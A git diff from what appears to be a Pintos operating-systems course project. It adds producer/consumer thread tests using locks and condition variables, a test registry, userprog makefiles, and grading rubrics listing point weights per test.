+#include <stdio.h>
+#include <string.h>
+
+//----------------------------------------------------------------------
+// SimpleThread
+// Loop 5 times, yielding the CPU to another ready thread
+// each iteration.
+//
+// "which" is simply a number identifying the thread, for debugging
+// purposes.
+//----------------------------------------------------------------------
+
+void SimpleThread(void *);
+
+void
+SimpleThread(void * which)
+{
+ int num;
+
+ for (num = 0; num < 5; num++) {
+ printf("*** thread %d looped %d times\n", (int)which, num);
+ thread_yield();
+// currentThread->Yield();
+ }
+}
+
+//----------------------------------------------------------------------
+// ThreadTest
+// Set up a ping-pong between two threads, by forking a thread
+// to call SimpleThread, and then calling SimpleThread ourselves.
+//----------------------------------------------------------------------
+
+void
+SimpleThreadTest(void)
+{
+// DEBUG('t', "Entering SimpleTest");
+
+// Thread *t = new Thread("forked thread");
+ char *t_name = "forked thread";
+ printf("Entering SimpleTest");
+
+ thread_create(t_name, PRI_MIN, SimpleThread, (void *)1);
+
+// t->Fork(SimpleThread, 1);
+ SimpleThread((void *)0);
+}
diff --git a/src/tests/threads/tests.c b/src/tests/threads/tests.c
new file mode 100644
index 0000000..b8d090d
--- /dev/null
+++ b/src/tests/threads/tests.c
@@ -0,0 +1,104 @@
+#include "tests/threads/tests.h"
+#include <debug.h>
+#include <string.h>
+#include <stdio.h>
+
+struct test
+ {
+ const char *name;
+ test_func *function;
+ };
+
+static const struct test tests[] =
+ {
+ {"alarm-single", test_alarm_single},
+ {"alarm-multiple", test_alarm_multiple},
+ {"alarm-simultaneous", test_alarm_simultaneous},
+ {"alarm-priority", test_alarm_priority},
+ {"alarm-zero", test_alarm_zero},
+ {"alarm-negative", test_alarm_negative},
+ {"priority-change", test_priority_change},
+ {"priority-donate-one", test_priority_donate_one},
+ {"priority-donate-multiple", test_priority_donate_multiple},
+ {"priority-donate-multiple2", test_priority_donate_multiple2},
+ {"priority-donate-nest", test_priority_donate_nest},
+ {"priority-donate-sema", test_priority_donate_sema},
+ {"priority-donate-lower", test_priority_donate_lower},
+ {"priority-donate-chain", test_priority_donate_chain},
+ {"priority-fifo", test_priority_fifo},
+ {"priority-preempt", test_priority_preempt},
+ {"priority-sema", test_priority_sema},
+ {"priority-condvar", test_priority_condvar},
+ {"mlfqs-load-1", test_mlfqs_load_1},
+ {"mlfqs-load-60", test_mlfqs_load_60},
+ {"mlfqs-load-avg", test_mlfqs_load_avg},
+ {"mlfqs-recent-1", test_mlfqs_recent_1},
+ {"mlfqs-fair-2", test_mlfqs_fair_2},
+ {"mlfqs-fair-20", test_mlfqs_fair_20},
+ {"mlfqs-nice-2", test_mlfqs_nice_2},
+ {"mlfqs-nice-10", test_mlfqs_nice_10},
+ {"mlfqs-block", test_mlfqs_block},
+ {"threadtest", ThreadTest},
+ {"simplethreadtest", SimpleThreadTest}
+ };
+
+static const char *test_name;
+
+/* Runs the test named NAME. */
+void
+run_test (const char *name)
+{
+ const struct test *t;
+
+ for (t = tests; t < tests + sizeof tests / sizeof *tests; t++)
+ if (!strcmp (name, t->name))
+ {
+ test_name = name;
+ msg ("begin");
+ t->function ();
+ msg ("end");
+ return;
+ }
+ PANIC ("no test named \"%s\"", name);
+}
+
+/* Prints FORMAT as if with printf(),
+ prefixing the output by the name of the test
+ and following it with a new-line character. */
+void
+msg (const char *format, ...)
+{
+ va_list args;
+
+ printf ("(%s) ", test_name);
+ va_start (args, format);
+ vprintf (format, args);
+ va_end (args);
+ putchar ('\n');
+}
+
+/* Prints failure message FORMAT as if with printf(),
+ prefixing the output by the name of the test and FAIL:
+ and following it with a new-line character,
+ and then panics the kernel. */
+void
+fail (const char *format, ...)
+{
+ va_list args;
+
+ printf ("(%s) FAIL: ", test_name);
+ va_start (args, format);
+ vprintf (format, args);
+ va_end (args);
+ putchar ('\n');
+
+ PANIC ("test failed");
+}
+
+/* Prints a message indicating the current test passed. */
+void
+pass (void)
+{
+ printf ("(%s) PASS\n", test_name);
+}
+
diff --git a/src/tests/threads/tests.h b/src/tests/threads/tests.h
new file mode 100644
index 0000000..1fe3582
--- /dev/null
+++ b/src/tests/threads/tests.h
@@ -0,0 +1,43 @@
+#ifndef TESTS_THREADS_TESTS_H
+#define TESTS_THREADS_TESTS_H
+
+void run_test (const char *);
+
+typedef void test_func (void);
+
+extern test_func test_alarm_single;
+extern test_func test_alarm_multiple;
+extern test_func test_alarm_simultaneous;
+extern test_func test_alarm_priority;
+extern test_func test_alarm_zero;
+extern test_func test_alarm_negative;
+extern test_func test_priority_change;
+extern test_func test_priority_donate_one;
+extern test_func test_priority_donate_multiple;
+extern test_func test_priority_donate_multiple2;
+extern test_func test_priority_donate_sema;
+extern test_func test_priority_donate_nest;
+extern test_func test_priority_donate_lower;
+extern test_func test_priority_donate_chain;
+extern test_func test_priority_fifo;
+extern test_func test_priority_preempt;
+extern test_func test_priority_sema;
+extern test_func test_priority_condvar;
+extern test_func test_mlfqs_load_1;
+extern test_func test_mlfqs_load_60;
+extern test_func test_mlfqs_load_avg;
+extern test_func test_mlfqs_recent_1;
+extern test_func test_mlfqs_fair_2;
+extern test_func test_mlfqs_fair_20;
+extern test_func test_mlfqs_nice_2;
+extern test_func test_mlfqs_nice_10;
+extern test_func test_mlfqs_block;
+extern test_func ThreadTest;
+extern test_func SimpleThreadTest;
+
+void msg (const char *, ...);
+void fail (const char *, ...);
+void pass (void);
+
+#endif /* tests/threads/tests.h */
+
diff --git a/src/tests/threads/threadtest.c b/src/tests/threads/threadtest.c
new file mode 100644
index 0000000..363d532
--- /dev/null
+++ b/src/tests/threads/threadtest.c
@@ -0,0 +1,250 @@
+// threadtest.c
+// Simple test case for the threads assignment.
+//
+// Create seven threads, and have them context switch
+// back and forth between themselves by calling Thread::Yield,
+// to illustrate the inner workings of the thread system.
+//
+// Copyright (c) 1992-1993 The Regents of the University of California.
+// All rights reserved. See copyright.h for copyright notice and limitation
+// of liability and disclaimer of warranty provisions.
+//
+// Modified by Levon Saldamli.
+// Modified by Andrzej Bednarski:
+// - added #ifdef (do not require modification of Makefile)
+// Modified by Vlad Jahundovics:
+// - transition from C++ to C (from Nachos to Pintos)
+
+//#ifdef THREADS
+
+//#include "copyright.h"
+//#include "system.h"
+//#include "synch.h"
+//#include "boundedbuffer.h"
+#include "threads/boundedbuffer.h"
+#include "threads/malloc.h"
+#include "threads/synch.h"
+#include "threads/thread.h"
+#include "tests/threads/tests.h"
+#include <stdio.h>
+#include <string.h>
+
+#define NBR_OF_PROD 50
+//const int nbr_of_prod = 50;
+#define NBR_OF_CON 50
+//const int nbr_of_con = 50;
+const int prod_switch = 30;
+const int con_switch = 20;
+
+char * prod_name[NBR_OF_PROD];
+char * con_name[NBR_OF_CON];
+
+char * msg_array[NBR_OF_PROD];
+
+char * received_msg_array[NBR_OF_PROD];
+int received_msg_pos[NBR_OF_PROD];
+
+
+struct bounded_buffer bounded_buffer[2];
+
+struct lock readlock[2];
+
+struct lock start_lock;
+struct condition start_cond;
+
+int started_threads;
+
+/*
+class Data
+{
+public:
+ Data(char ch, char* s, int i) {
+ c = ch;
+ sender = s;
+ sender_index = i;
+ }
+ char c;
+ char *sender;
+ int sender_index;
+};
+*/
+
+struct Data
+{
+ char c;
+ char *sender;
+ int sender_index;
+};
+
+void data_init(struct Data *data, char ch, char* s, int i);
+void WaitForStart(void);
+void Producer(void *index);
+void Consumer(void *index);
+
+void data_init(struct Data *data, char ch, char* s, int i)
+{
+ data->c = ch;
+ data->sender = s;
+ data->sender_index = i;
+}
+
+void
+WaitForStart(void) {
+ lock_acquire(&start_lock);
+ printf("%s is waiting for start signal\n", thread_name());
+ cond_wait(&start_cond,&start_lock);
+ printf("%s is starting\n", thread_name());
+ started_threads++;
+ lock_release(&start_lock);
+}
+
+void
+Producer(void *index)
+{
+ char *sender_name;
+ size_t sender_name_length;
+ WaitForStart();
+ int buf=0;
+ if ((int) index >= prod_switch)
+ buf=1;
+
+ char *msg = msg_array[(int) index];
+ void *p;
+
+ for (; *msg != '\0'; ++msg) {
+ p = malloc(sizeof(struct Data));
+ sender_name_length = strlen(thread_name())+1;
+ sender_name = calloc(sizeof(char), sender_name_length);
+ strlcpy(sender_name,thread_name(), sender_name_length);
+ data_init(p, *msg, sender_name, (int) index);
+ bb_write(&bounded_buffer[buf],(int) p);
+ thread_yield();
+ }
+ p = malloc(sizeof(struct Data));
+ sender_name_length = strlen(thread_name())+1;
+ sender_name = calloc(sizeof(char), sender_name_length);
+ strlcpy(sender_name,thread_name(), sender_name_length);
+ data_init(p, 0, sender_name, (int) index);
+ bb_write(&bounded_buffer[buf],(int) p);
+ printf("%s has finished sending.\n", thread_name());
+}
+
+void
+Consumer(void *index)
+{
+ WaitForStart();
+
+ int buf=0;
+ if ((int) index >= con_switch)
+ buf=1;
+
+ while (true) {
+
+ lock_acquire(&readlock[buf]);
+ struct Data *data = (struct Data*) bb_read(&bounded_buffer[buf]);
+ int i=data->sender_index;
+ received_msg_array[i][received_msg_pos[i]] = data->c;
+ received_msg_pos[i]++;
+ lock_release(&readlock[buf]);
+
+ if (data->c != 0);
+ /* DEBUG('c', "%s received from %s: %c\n",
+ currentThread->getName(),
+ data->sender,
+ data->c);*/
+ else
+ printf("\n%s: %s's total message was: \n\"%s\"\n",
+ thread_name(),
+ data->sender,
+ received_msg_array[i]);
+ free(data->sender);
+ free(data);
+ thread_yield();
+ }
+}
+
+
+
+//----------------------------------------------------------------------
+// ThreadTest
+// Creates three consumers and three producers. The producers
+// write different messages to the buffer. The main thread also
+// calls Consumer, resulting in four consumers.
+//----------------------------------------------------------------------
+
+void
+ThreadTest(void)
+{
+ //DEBUG('t', "Entering SimpleTest\n");
+ const int nmsg = 5;
+ char *msg[nmsg];
+ msg[0] = "Computer, compute to the last digit the value of pi!";
+ msg[1] = "What is now proved was once only imagined.";
+ msg[2] = "Insufficient facts always invites danger, Captain.";
+ msg[3] = "The Federation's gone; the Borg is everywhere!";
+ msg[4] = "Live long and prosper, Spock.";
+
+ // bounded_buffer[0] = new BoundedBuffer(5);
+ // bounded_buffer[1] = new BoundedBuffer(5);
+
+ printf("ThreadTest has just started! It's thread name is %s.\n", thread_name());
+
+ bb_init(&bounded_buffer[0],5);
+ bb_init(&bounded_buffer[1],5);
+ lock_init(&readlock[0]);
+ lock_init(&readlock[1]);
+ // readlock[0] = new Lock("Read lock 0");
+ // readlock[1] = new Lock("Read lock 1");
+
+ lock_init(&start_lock);
+ // start_lock = new Lock("Start lock");
+ cond_init(&start_cond);
+ // start_cond = new Condition("Start cond");
+ started_threads = 0;
+
+ char pname[] = "Producer";
+ char cname[] = "Consumer";
+ int i;
+
+ for (i=0;i < NBR_OF_PROD; i++) {
+ // char *str = new char[strlen(pname)+4];
+ char *str = (char *) calloc(sizeof(char), strlen(pname)+4);
+ snprintf(str,strlen(pname)+4,"%s %02d", pname, i);
+
+ prod_name[i] = str;
+ msg_array[i] = msg[i%nmsg];
+ received_msg_array[i] = (char *) calloc(sizeof(char),strlen(msg_array[i])+1);
+ //received_msg_array[i] = new char[strlen(msg_array[i])+1];
+ received_msg_pos[i] = 0;
+ // printf("Creating thread with the name: %s\n",str);
+ thread_create(str, PRI_MIN, Producer, (void *) i);
+ free(str);
+ // Thread *t = new Thread(str);
+ // t->Fork(Producer, i);
+ }
+ for (i=0;i < NBR_OF_CON; i++) {
+ char *str = (char *) calloc(sizeof(char), strlen(cname)+4);
+ //char *str = new char[strlen(cname)+4];
+ snprintf(str, strlen(cname)+4,"%s %02d", cname, i);
+ // printf("Creating thread with the name: %s\n",str);
+ thread_create(str, PRI_MIN, Consumer, (void *) i);
+ free(str);
+ //Thread *t = new Thread(str);
+ //t->Fork(Consumer, i);
+ }
+
+ thread_yield();
+
+ lock_acquire(&start_lock);
+ while (started_threads < (NBR_OF_PROD + NBR_OF_CON) ) {
+ printf("\n\n%s : All threads haven't started. Broadcasting start signal to all threads\n\n", thread_name());
+ cond_broadcast(&start_cond, &start_lock);
+ // start_cond->Broadcast(start_lock);
+ lock_release(&start_lock);
+ thread_yield();
+ lock_acquire(&start_lock);
+ }
+ printf("\n\nAll threads have started. Finishing %s\n\n", thread_name());
+}
+
+//#endif // THREADS
diff --git a/src/tests/userprog/Grading b/src/tests/userprog/Grading
new file mode 100644
index 0000000..f70dc99
--- /dev/null
+++ b/src/tests/userprog/Grading
@@ -0,0 +1,11 @@
+# Percentage of the testing point total designated for each set of
+# tests.
+
+# This project is primarily about implementing system calls.
+# If you do so properly, the base file system functionality
+# should come "for free". Thus, the points emphasis below.
+
+35% tests/userprog/Rubric.functionality
+25% tests/userprog/Rubric.robustness
+10% tests/userprog/no-vm/Rubric
+30% tests/filesys/base/Rubric
diff --git a/src/tests/userprog/Make.tests b/src/tests/userprog/Make.tests
new file mode 100644
index 0000000..1258582
--- /dev/null
+++ b/src/tests/userprog/Make.tests
@@ -0,0 +1,125 @@
+# -*- makefile -*-
+
+tests/%.output: FSDISK = 2
+tests/%.output: PUTFILES = $(filter-out os.dsk, $^)
+
+tests/userprog_TESTS = $(addprefix tests/userprog/,args-none \
+args-single args-multiple args-many args-dbl-space sc-bad-sp \
+sc-bad-arg sc-boundary sc-boundary-2 halt exit create-normal \
+create-empty create-null create-bad-ptr create-long create-exists \
+create-bound open-normal open-missing open-boundary open-empty \
+open-null open-bad-ptr open-twice close-normal close-twice close-stdin \
+close-stdout close-bad-fd read-normal read-bad-ptr read-boundary \
+read-zero read-stdout read-bad-fd write-normal write-bad-ptr \
+write-boundary write-zero write-stdin write-bad-fd exec-once exec-arg \
+exec-multiple exec-missing exec-bad-ptr wait-simple wait-twice \
+wait-killed wait-bad-pid multi-recurse multi-child-fd)
+
+
+
+tests/userprog_PROGS = $(tests/userprog_TESTS) $(addprefix \
+tests/userprog/,child-simple child-args child-bad child-close)
+
+
+tests/userprog/args-none_SRC = tests/userprog/args.c
+tests/userprog/args-single_SRC = tests/userprog/args.c
+tests/userprog/args-multiple_SRC = tests/userprog/args.c
+tests/userprog/args-many_SRC = tests/userprog/args.c
+tests/userprog/args-dbl-space_SRC = tests/userprog/args.c
+tests/userprog/sc-bad-sp_SRC = tests/userprog/sc-bad-sp.c tests/main.c
+tests/userprog/sc-bad-arg_SRC = tests/userprog/sc-bad-arg.c tests/main.c
+
+tests/userprog/sc-boundary_SRC = tests/userprog/sc-boundary.c \
+tests/userprog/boundary.c tests/main.c
+tests/userprog/sc-boundary-2_SRC = tests/userprog/sc-boundary-2.c \
+tests/userprog/boundary.c tests/main.c
+tests/userprog/halt_SRC = tests/userprog/halt.c tests/main.c
+tests/userprog/exit_SRC = tests/userprog/exit.c tests/main.c
+tests/userprog/create-normal_SRC = tests/userprog/create-normal.c tests/main.c
+tests/userprog/create-empty_SRC = tests/userprog/create-empty.c tests/main.c
+tests/userprog/create-null_SRC = tests/userprog/create-null.c tests/main.c
+tests/userprog/create-bad-ptr_SRC = tests/userprog/create-bad-ptr.c \
+tests/main.c
+tests/userprog/create-long_SRC = tests/userprog/create-long.c tests/main.c
+tests/userprog/create-exists_SRC = tests/userprog/create-exists.c tests/main.c
+tests/userprog/create-bound_SRC = tests/userprog/create-bound.c \
+tests/userprog/boundary.c tests/main.c
+tests/userprog/open-normal_SRC = tests/userprog/open-normal.c tests/main.c
+tests/userprog/open-missing_SRC = tests/userprog/open-missing.c tests/main.c
+tests/userprog/open-boundary_SRC = tests/userprog/open-boundary.c \
+tests/userprog/boundary.c tests/main.c
+tests/userprog/open-empty_SRC = tests/userprog/open-empty.c tests/main.c
+tests/userprog/open-null_SRC = tests/userprog/open-null.c tests/main.c
+tests/userprog/open-bad-ptr_SRC = tests/userprog/open-bad-ptr.c tests/main.c
+tests/userprog/open-twice_SRC = tests/userprog/open-twice.c tests/main.c
+tests/userprog/close-normal_SRC = tests/userprog/close-normal.c tests/main.c
+tests/userprog/close-twice_SRC = tests/userprog/close-twice.c tests/main.c
+tests/userprog/close-stdin_SRC = tests/userprog/close-stdin.c tests/main.c
+tests/userprog/close-stdout_SRC = tests/userprog/close-stdout.c tests/main.c
+tests/userprog/close-bad-fd_SRC = tests/userprog/close-bad-fd.c tests/main.c
+tests/userprog/read-normal_SRC = tests/userprog/read-normal.c tests/main.c
+tests/userprog/read-bad-ptr_SRC = tests/userprog/read-bad-ptr.c tests/main.c
+tests/userprog/read-boundary_SRC = tests/userprog/read-boundary.c \
+tests/userprog/boundary.c tests/main.c
+tests/userprog/read-zero_SRC = tests/userprog/read-zero.c tests/main.c
+tests/userprog/read-stdout_SRC = tests/userprog/read-stdout.c tests/main.c
+tests/userprog/read-bad-fd_SRC = tests/userprog/read-bad-fd.c tests/main.c
+tests/userprog/write-normal_SRC = tests/userprog/write-normal.c tests/main.c
+tests/userprog/write-bad-ptr_SRC = tests/userprog/write-bad-ptr.c tests/main.c
+tests/userprog/write-boundary_SRC = tests/userprog/write-boundary.c \
+tests/userprog/boundary.c tests/main.c
+tests/userprog/write-zero_SRC = tests/userprog/write-zero.c tests/main.c
+tests/userprog/write-stdin_SRC = tests/userprog/write-stdin.c tests/main.c
+tests/userprog/write-bad-fd_SRC = tests/userprog/write-bad-fd.c tests/main.c
+tests/userprog/exec-once_SRC = tests/userprog/exec-once.c tests/main.c
+tests/userprog/exec-arg_SRC = tests/userprog/exec-arg.c tests/main.c
+tests/userprog/exec-multiple_SRC = tests/userprog/exec-multiple.c tests/main.c
+tests/userprog/exec-missing_SRC = tests/userprog/exec-missing.c tests/main.c
+tests/userprog/exec-bad-ptr_SRC = tests/userprog/exec-bad-ptr.c tests/main.c
+tests/userprog/wait-simple_SRC = tests/userprog/wait-simple.c tests/main.c
+tests/userprog/wait-twice_SRC = tests/userprog/wait-twice.c tests/main.c
+tests/userprog/wait-killed_SRC = tests/userprog/wait-killed.c tests/main.c
+tests/userprog/wait-bad-pid_SRC = tests/userprog/wait-bad-pid.c tests/main.c
+tests/userprog/multi-recurse_SRC = tests/userprog/multi-recurse.c
+tests/userprog/multi-child-fd_SRC = tests/userprog/multi-child-fd.c \
+tests/main.c
+
+
+tests/userprog/child-simple_SRC = tests/userprog/child-simple.c
+tests/userprog/child-args_SRC = tests/userprog/args.c
+tests/userprog/child-bad_SRC = tests/userprog/child-bad.c tests/main.c
+tests/userprog/child-close_SRC = tests/userprog/child-close.c
+
+
+$(foreach prog,$(tests/userprog_PROGS),$(eval $(prog)_SRC += tests/lib.c))
+
+tests/userprog/args-single_ARGS = onearg
+tests/userprog/args-multiple_ARGS = some arguments for you!
+tests/userprog/args-many_ARGS = a b c d e f g h i j k l m n o p q r s t u v
+tests/userprog/args-dbl-space_ARGS = two spaces!
+tests/userprog/multi-recurse_ARGS = 15
+
+tests/userprog/open-normal_PUTFILES += tests/userprog/sample.txt
+tests/userprog/open-boundary_PUTFILES += tests/userprog/sample.txt
+tests/userprog/open-twice_PUTFILES += tests/userprog/sample.txt
+tests/userprog/close-normal_PUTFILES += tests/userprog/sample.txt
+tests/userprog/close-twice_PUTFILES += tests/userprog/sample.txt
+tests/userprog/read-normal_PUTFILES += tests/userprog/sample.txt
+tests/userprog/read-bad-ptr_PUTFILES += tests/userprog/sample.txt
+tests/userprog/read-boundary_PUTFILES += tests/userprog/sample.txt
+tests/userprog/read-zero_PUTFILES += tests/userprog/sample.txt
+tests/userprog/write-normal_PUTFILES += tests/userprog/sample.txt
+tests/userprog/write-bad-ptr_PUTFILES += tests/userprog/sample.txt
+tests/userprog/write-boundary_PUTFILES += tests/userprog/sample.txt
+tests/userprog/write-zero_PUTFILES += tests/userprog/sample.txt
+tests/userprog/multi-child-fd_PUTFILES += tests/userprog/sample.txt
+
+tests/userprog/exec-once_PUTFILES += tests/userprog/child-simple
+tests/userprog/exec-multiple_PUTFILES += tests/userprog/child-simple
+tests/userprog/wait-simple_PUTFILES += tests/userprog/child-simple
+tests/userprog/wait-twice_PUTFILES += tests/userprog/child-simple
+
+tests/userprog/exec-arg_PUTFILES += tests/userprog/child-args
+tests/userprog/multi-child-fd_PUTFILES += tests/userprog/child-close
+tests/userprog/wait-killed_PUTFILES += tests/userprog/child-bad
+
diff --git a/src/tests/userprog/Make.tests.odig b/src/tests/userprog/Make.tests.odig
new file mode 100644
index 0000000..c762af3
--- /dev/null
+++ b/src/tests/userprog/Make.tests.odig
@@ -0,0 +1,132 @@
+# -*- makefile -*-
+
+tests/%.output: FSDISK = 2
+tests/%.output: PUTFILES = $(filter-out os.dsk, $^)
+
+tests/userprog_TESTS = $(addprefix tests/userprog/,args-none \
+args-single args-multiple args-many args-dbl-space sc-bad-sp \
+sc-bad-arg sc-boundary sc-boundary-2 halt exit create-normal \
+create-empty create-null create-bad-ptr create-long create-exists \
+create-bound open-normal open-missing open-boundary open-empty \
+open-null open-bad-ptr open-twice close-normal close-stdin \
+close-stdout close-bad-fd read-bad-ptr read-boundary \
+read-zero read-stdout read-bad-fd write-normal write-bad-ptr \
+write-boundary write-zero write-stdin write-bad-fd exec-once exec-arg \
+exec-multiple exec-missing exec-bad-ptr wait-simple wait-twice \
+wait-killed wait-bad-pid multi-recurse \
+)
+
+tests/userprog_PROGS = $(tests/userprog_TESTS) $(addprefix \
+tests/userprog/,child-simple child-args child-bad child-close child-rox)
+
+tests/userprog/args-none_SRC = tests/userprog/args.c
+tests/userprog/args-single_SRC = tests/userprog/args.c
+tests/userprog/args-multiple_SRC = tests/userprog/args.c
+tests/userprog/args-many_SRC = tests/userprog/args.c
+tests/userprog/args-dbl-space_SRC = tests/userprog/args.c
+tests/userprog/sc-bad-sp_SRC = tests/userprog/sc-bad-sp.c tests/main.c
+tests/userprog/sc-bad-arg_SRC = tests/userprog/sc-bad-arg.c tests/main.c
+tests/userprog/bad-read_SRC = tests/userprog/bad-read.c tests/main.c
+tests/userprog/bad-write_SRC = tests/userprog/bad-write.c tests/main.c
+tests/userprog/bad-jump_SRC = tests/userprog/bad-jump.c tests/main.c
+tests/userprog/bad-read2_SRC = tests/userprog/bad-read2.c tests/main.c
+tests/userprog/bad-write2_SRC = tests/userprog/bad-write2.c tests/main.c
+tests/userprog/bad-jump2_SRC = tests/userprog/bad-jump2.c tests/main.c
+tests/userprog/sc-boundary_SRC = tests/userprog/sc-boundary.c \
+tests/userprog/boundary.c tests/main.c
+tests/userprog/sc-boundary-2_SRC = tests/userprog/sc-boundary-2.c \
+tests/userprog/boundary.c tests/main.c
+tests/userprog/halt_SRC = tests/userprog/halt.c tests/main.c
+tests/userprog/exit_SRC = tests/userprog/exit.c tests/main.c
+tests/userprog/create-normal_SRC = tests/userprog/create-normal.c tests/main.c
+tests/userprog/create-empty_SRC = tests/userprog/create-empty.c tests/main.c
+tests/userprog/create-null_SRC = tests/userprog/create-null.c tests/main.c
+tests/userprog/create-bad-ptr_SRC = tests/userprog/create-bad-ptr.c \
+tests/main.c
+tests/userprog/create-long_SRC = tests/userprog/create-long.c tests/main.c
+tests/userprog/create-exists_SRC = tests/userprog/create-exists.c tests/main.c
+tests/userprog/create-bound_SRC = tests/userprog/create-bound.c \
+tests/userprog/boundary.c tests/main.c
+tests/userprog/open-normal_SRC = tests/userprog/open-normal.c tests/main.c
+tests/userprog/open-missing_SRC = tests/userprog/open-missing.c tests/main.c
+tests/userprog/open-boundary_SRC = tests/userprog/open-boundary.c \
+tests/userprog/boundary.c tests/main.c
+tests/userprog/open-empty_SRC = tests/userprog/open-empty.c tests/main.c
+tests/userprog/open-null_SRC = tests/userprog/open-null.c tests/main.c
+tests/userprog/open-bad-ptr_SRC = tests/userprog/open-bad-ptr.c tests/main.c
+tests/userprog/open-twice_SRC = tests/userprog/open-twice.c tests/main.c
+tests/userprog/close-normal_SRC = tests/userprog/close-normal.c tests/main.c
+tests/userprog/close-twice_SRC = tests/userprog/close-twice.c tests/main.c
+tests/userprog/close-stdin_SRC = tests/userprog/close-stdin.c tests/main.c
+tests/userprog/close-stdout_SRC = tests/userprog/close-stdout.c tests/main.c
+tests/userprog/close-bad-fd_SRC = tests/userprog/close-bad-fd.c tests/main.c
+tests/userprog/read-normal_SRC = tests/userprog/read-normal.c tests/main.c
+tests/userprog/read-bad-ptr_SRC = tests/userprog/read-bad-ptr.c tests/main.c
+tests/userprog/read-boundary_SRC = tests/userprog/read-boundary.c \
+tests/userprog/boundary.c tests/main.c
+tests/userprog/read-zero_SRC = tests/userprog/read-zero.c tests/main.c
+tests/userprog/read-stdout_SRC = tests/userprog/read-stdout.c tests/main.c
+tests/userprog/read-bad-fd_SRC = tests/userprog/read-bad-fd.c tests/main.c
+tests/userprog/write-normal_SRC = tests/userprog/write-normal.c tests/main.c
+tests/userprog/write-bad-ptr_SRC = tests/userprog/write-bad-ptr.c tests/main.c
+tests/userprog/write-boundary_SRC = tests/userprog/write-boundary.c \
+tests/userprog/boundary.c tests/main.c
+tests/userprog/write-zero_SRC = tests/userprog/write-zero.c tests/main.c
+tests/userprog/write-stdin_SRC = tests/userprog/write-stdin.c tests/main.c
+tests/userprog/write-bad-fd_SRC = tests/userprog/write-bad-fd.c tests/main.c
+tests/userprog/exec-once_SRC = tests/userprog/exec-once.c tests/main.c
+tests/userprog/exec-arg_SRC = tests/userprog/exec-arg.c tests/main.c
+tests/userprog/exec-multiple_SRC = tests/userprog/exec-multiple.c tests/main.c
+tests/userprog/exec-missing_SRC = tests/userprog/exec-missing.c tests/main.c
+tests/userprog/exec-bad-ptr_SRC = tests/userprog/exec-bad-ptr.c tests/main.c
+tests/userprog/wait-simple_SRC = tests/userprog/wait-simple.c tests/main.c
+tests/userprog/wait-twice_SRC = tests/userprog/wait-twice.c tests/main.c
+tests/userprog/wait-killed_SRC = tests/userprog/wait-killed.c tests/main.c
+tests/userprog/wait-bad-pid_SRC = tests/userprog/wait-bad-pid.c tests/main.c
+tests/userprog/multi-recurse_SRC = tests/userprog/multi-recurse.c
+tests/userprog/multi-child-fd_SRC = tests/userprog/multi-child-fd.c \
+tests/main.c
+tests/userprog/rox-simple_SRC = tests/userprog/rox-simple.c tests/main.c
+tests/userprog/rox-child_SRC = tests/userprog/rox-child.c tests/main.c
+tests/userprog/rox-multichild_SRC = tests/userprog/rox-multichild.c \
+tests/main.c
+
+tests/userprog/child-simple_SRC = tests/userprog/child-simple.c
+tests/userprog/child-args_SRC = tests/userprog/args.c
+tests/userprog/child-bad_SRC = tests/userprog/child-bad.c tests/main.c
+tests/userprog/child-close_SRC = tests/userprog/child-close.c
+tests/userprog/child-rox_SRC = tests/userprog/child-rox.c
+
+$(foreach prog,$(tests/userprog_PROGS),$(eval $(prog)_SRC += tests/lib.c))
+
+tests/userprog/args-single_ARGS = onearg
+tests/userprog/args-multiple_ARGS = some arguments for you!
+tests/userprog/args-many_ARGS = a b c d e f g h i j k l m n o p q r s t u v
+tests/userprog/args-dbl-space_ARGS = two spaces!
+tests/userprog/multi-recurse_ARGS = 15
+
+tests/userprog/open-normal_PUTFILES += tests/userprog/sample.txt
+tests/userprog/open-boundary_PUTFILES += tests/userprog/sample.txt
+tests/userprog/open-twice_PUTFILES += tests/userprog/sample.txt
+tests/userprog/close-normal_PUTFILES += tests/userprog/sample.txt
+tests/userprog/close-twice_PUTFILES += tests/userprog/sample.txt
+tests/userprog/read-normal_PUTFILES += tests/userprog/sample.txt
+tests/userprog/read-bad-ptr_PUTFILES += tests/userprog/sample.txt
+tests/userprog/read-boundary_PUTFILES += tests/userprog/sample.txt
+tests/userprog/read-zero_PUTFILES += tests/userprog/sample.txt
+tests/userprog/write-normal_PUTFILES += tests/userprog/sample.txt
+tests/userprog/write-bad-ptr_PUTFILES += tests/userprog/sample.txt
+tests/userprog/write-boundary_PUTFILES += tests/userprog/sample.txt
+tests/userprog/write-zero_PUTFILES += tests/userprog/sample.txt
+tests/userprog/multi-child-fd_PUTFILES += tests/userprog/sample.txt
+
+tests/userprog/exec-once_PUTFILES += tests/userprog/child-simple
+tests/userprog/exec-multiple_PUTFILES += tests/userprog/child-simple
+tests/userprog/wait-simple_PUTFILES += tests/userprog/child-simple
+tests/userprog/wait-twice_PUTFILES += tests/userprog/child-simple
+
+tests/userprog/exec-arg_PUTFILES += tests/userprog/child-args
+tests/userprog/multi-child-fd_PUTFILES += tests/userprog/child-close
+tests/userprog/wait-killed_PUTFILES += tests/userprog/child-bad
+tests/userprog/rox-child_PUTFILES += tests/userprog/child-rox
+tests/userprog/rox-multichild_PUTFILES += tests/userprog/child-rox
diff --git a/src/tests/userprog/Rubric.functionality b/src/tests/userprog/Rubric.functionality
new file mode 100644
index 0000000..ea76c44
--- /dev/null
+++ b/src/tests/userprog/Rubric.functionality
@@ -0,0 +1,52 @@
+Functionality of system calls:
+- Test argument passing on Pintos command line.
+3 args-none
+3 args-single
+3 args-multiple
+3 args-many
+3 args-dbl-space
+
+- Test "create" system call.
+3 create-empty
+3 create-long
+3 create-normal
+3 create-exists
+
+- Test "open" system call.
+3 open-missing
+3 open-normal
+3 open-twice
+
+- Test "read" system call.
+3 read-normal
+3 read-zero
+
+- Test "write" system call.
+3 write-normal
+3 write-zero
+
+- Test "close" system call.
+3 close-normal
+
+- Test "exec" system call.
+5 exec-once
+5 exec-multiple
+5 exec-arg
+
+- Test "wait" system call.
+5 wait-simple
+5 wait-twice
+
+- Test "exit" system call.
+5 exit
+
+- Test "halt" system call.
+3 halt
+
+- Test recursive execution of user programs.
+15 multi-recurse
+
+- Test read-only executable feature.
+3 rox-simple
+3 rox-child
+3 rox-multichild
diff --git a/src/tests/userprog/Rubric.robustness b/src/tests/userprog/Rubric.robustness
new file mode 100644
index 0000000..b7d1035
--- /dev/null
+++ b/src/tests/userprog/Rubric.robustness
@@ -0,0 +1,48 @@
+Robustness of system calls:
+- Test robustness of file descriptor handling.
+2 close-stdin
+2 close-stdout
+2 close-bad-fd
+2 close-twice
+2 read-bad-fd
+2 read-stdout
+2 write-bad-fd
+2 write-stdin
